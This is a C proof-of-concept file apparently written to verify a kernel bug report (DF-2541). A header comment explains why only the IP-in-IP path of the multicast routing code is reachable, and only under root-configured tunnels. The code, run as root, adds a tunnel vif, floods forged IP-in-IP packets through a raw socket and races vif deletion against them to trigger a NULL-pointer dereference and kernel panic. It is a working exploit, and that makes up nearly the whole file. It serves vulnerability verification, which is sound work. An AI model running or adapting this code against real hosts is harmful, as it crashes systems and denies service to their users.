DF-2541 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 | /* * DF-2541 PoC — ip_mroute X_ipip_input stale-cache / NULL-deref race. * * The finding claims X_ipip_input and pim_input dereference NULL/zeroed vif * state because the input paths do not hold mroute_token while del_vif / * X_ip_mrouter_done (which DO hold the token) bzero() viftable entries. * * IMPORTANT reachability facts established during verification: * - pim_input() is wrapped in "#ifdef PIM" (sys/net/ip_mroute/ip_mroute.c:3250). * Neither the GENERIC kernel (no "options PIM" in X86_64_GENERIC) nor the * ip_mroute.ko module (Makefile defines only -DMROUTING, NOT -DPIM) compile * it. So the PIM-REGISTER NULL-deref at line 3230 is DEAD CODE on this guest. * - X_ipip_input() IS compiled (under MROUTING) and reachable via the * encap4_input() backward-compat path (sys/netinet/ip_encap.c:231) once the * module is kldloaded. But its first guard (line 1716) returns early unless * have_encap_tunnel==1, which is set ONLY when root adds a VIFF_TUNNEL vif. * * Therefore this bug is reachable only in a root-configured multicast routing * setup. The realistic threat model is: an admin runs mrouted (MRT_INIT + * tunnel vifs), and an attacker floods IP-in-IP packets during mrouted restart * / config reload (MRT_DONE). This PoC reproduces that scenario as root. * * Mechanism of the race: * add_vif(VIFF_TUNNEL) -> have_encap_tunnel=1, viftable[0].v_rmt_addr=RMT, * viftable[0].v_ifp=&multicast_decap_if[0] * first ipip pkt (src=RMT) -> X_ipip_input walks viftable, caches * last_encap_src=RMT, last_encap_vif=&viftable[0] * del_vif(0) / MRT_DONE -> holds mroute_token, bzero()s viftable[0] * (X_ipip_input holds NO token) -> v_ifp becomes 0 * next ipip pkt (src=RMT)-> src==last_encap_src so the walk is SKIPPED; * last_encap_vif (non-NULL ptr to zeroed slot) is * used; m->m_pkthdr.rcvif = v_ifp = NULL; netisr'd * into ip_input with a NULL rcvif. * * Run as root: ./poc */ #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <signal.h> /* MRT socket options (sys/net/ip_mroute/ip_mroute.h) */ #define MRT_INIT 100 #define MRT_DONE 101 #define MRT_ADD_VIF 102 #define MRT_DEL_VIF 103 #define VIFF_TUNNEL 0x1 typedef u_short vifi_t; /* matches sys/net/ip_mroute/ip_mroute.h:82 */ struct vifctl { vifi_t vifc_vifi; /* u_short (2) */ u_char vifc_flags; /* 1 */ u_char vifc_threshold; /* 1 */ u_int vifc_rate_limit; /* 4 */ struct in_addr vifc_lcl_addr;/* 4 */ struct in_addr vifc_rmt_addr;/* 4 */ }; #define RMT "10.0.2.99" /* fake tunnel remote (attacker src) */ #define DST "127.0.0.1" /* local destination -> reaches ip_input */ #define MCAST_INNER "225.1.2.3" /* inner dst must be multicast (IN_MULTICAST) */ static volatile int stop = 0; static void handler(int s __unused) { stop = 1; } /* Build an IP-in-IP packet: [outer IP proto=4 src=RMT dst=DST][inner IP dst=mcast] */ static int build_pkt(char *buf, int *plen) { struct ip *oip = (struct ip *)buf; /* outer */ struct ip *iip; /* inner */ memset(buf, 0, 40); oip->ip_v = 4; oip->ip_hl = 5; oip->ip_len = htons(40); oip->ip_ttl = 64; oip->ip_p = 4; /* IPPROTO_IPV4 -> encap4_input */ oip->ip_src.s_addr = inet_addr(RMT); oip->ip_dst.s_addr = inet_addr(DST); oip->ip_sum = 0; iip = (struct ip *)(buf + 20); iip->ip_v = 4; iip->ip_hl = 5; iip->ip_len = htons(20); iip->ip_ttl = 1; iip->ip_p = 0; iip->ip_src.s_addr = inet_addr(RMT); iip->ip_dst.s_addr = inet_addr(MCAST_INNER); iip->ip_sum = 0; *plen = 40; return 0; } static int mrt_init(int s) { int v = 1; if (setsockopt(s, IPPROTO_IP, MRT_INIT, &v, sizeof(v)) < 0) { fprintf(stderr, "MRT_INIT: %s\n", strerror(errno)); return -1; } return 0; } static int add_tunnel_vif(int s, vifi_t vifi) { struct vifctl vc; memset(&vc, 0, sizeof(vc)); vc.vifc_vifi = vifi; vc.vifc_flags = VIFF_TUNNEL; vc.vifc_threshold = 1; vc.vifc_lcl_addr.s_addr = inet_addr("127.0.0.1"); vc.vifc_rmt_addr.s_addr = inet_addr(RMT); if (setsockopt(s, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc)) < 0) { fprintf(stderr, "MRT_ADD_VIF: %s\n", strerror(errno)); return -1; } return 0; } static int del_vif(int s, vifi_t vifi) { if (setsockopt(s, IPPROTO_IP, MRT_DEL_VIF, &vifi, sizeof(vifi)) < 0) return -1; return 0; } int main(void) { int ms, rs, plen, i; char pkt[64]; struct sockaddr_in dst; signal(SIGINT, handler); signal(SIGTERM, handler); /* mrouter socket: must be SOCK_RAW / IPPROTO_IGMP (ip_mrouter_init check) */ ms = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); if (ms < 0) { perror("mrouter socket"); return 2; } if (mrt_init(ms) < 0) return 2; if (add_tunnel_vif(ms, 0) < 0) return 2; fprintf(stderr, "[+] MRT_INIT + tunnel vif0 (rmt=%s) added; have_encap_tunnel=1\n", RMT); build_pkt(pkt, &plen); /* raw socket to inject the outer IP-in-IP packet to loopback */ rs = socket(AF_INET, SOCK_RAW, IPPROTO_IPV4); if (rs < 0) { perror("raw socket"); return 2; } int one = 1; if (setsockopt(rs, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) perror("IP_HDRINCL"); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_addr.s_addr = inet_addr(DST); /* prime the cache: send a few packets so last_encap_vif is cached */ for (i = 0; i < 50; i++) sendto(rs, pkt, plen, 0, (struct sockaddr *)&dst, sizeof(dst)); fprintf(stderr, "[+] cache primed; starting teardown race loop\n"); /* * Race loop: keep deleting + re-adding the tunnel vif while flooding * ipip packets. del_vif bzeros viftable[0]; if a packet is in X_ipip_input * using the stale cached last_encap_vif, it derefs a zeroed v_ifp. */ for (int iter = 0; iter < 2000 && !stop; iter++) { for (i = 0; i < 400; i++) sendto(rs, pkt, plen, 0, (struct sockaddr *)&dst, sizeof(dst)); del_vif(ms, 0); /* small gap so a packet can land on the zeroed slot via stale cache */ for (i = 0; i < 400; i++) sendto(rs, pkt, plen, 0, (struct sockaddr *)&dst, sizeof(dst)); /* re-add to keep going; ignore transient failures */ add_tunnel_vif(ms, 0); if (iter % 100 == 0) fprintf(stderr, "[.] iter %d\n", iter); } /* cleanup */ del_vif(ms, 0); int v = 0; setsockopt(ms, IPPROTO_IP, MRT_DONE, &v, sizeof(v)); fprintf(stderr, "[+] done — if we got here, no panic on this run\n"); return 0; } |